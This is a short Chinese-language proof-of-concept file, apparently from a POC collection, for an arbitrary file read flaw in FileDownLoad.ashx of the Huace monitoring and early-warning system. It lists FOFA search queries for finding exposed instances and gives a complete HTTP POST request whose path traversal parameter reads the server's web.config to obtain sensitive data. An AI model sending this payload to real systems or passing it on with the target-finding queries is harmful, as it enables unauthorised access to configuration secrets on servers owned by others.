POC/wpoc/华测监测预警系统/华测监测预警系统FileDownLoad.ashx存在任意文件读取漏洞.md

华测监测预警系统FileDownLoad.ashx存在任意文件读取漏洞

华测监测预警系统FileDownLoad.ashx存在任意文件读取漏洞，通过读取配置文件获取重要数据。

fofa

app="华测监测预警系统2.2"

icon_hash="-628229493"

poc

POST /Handler/FileDownLoad.ashx HTTP/1.1
Host: ip:port
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 40

filename=1&filepath=../../web.config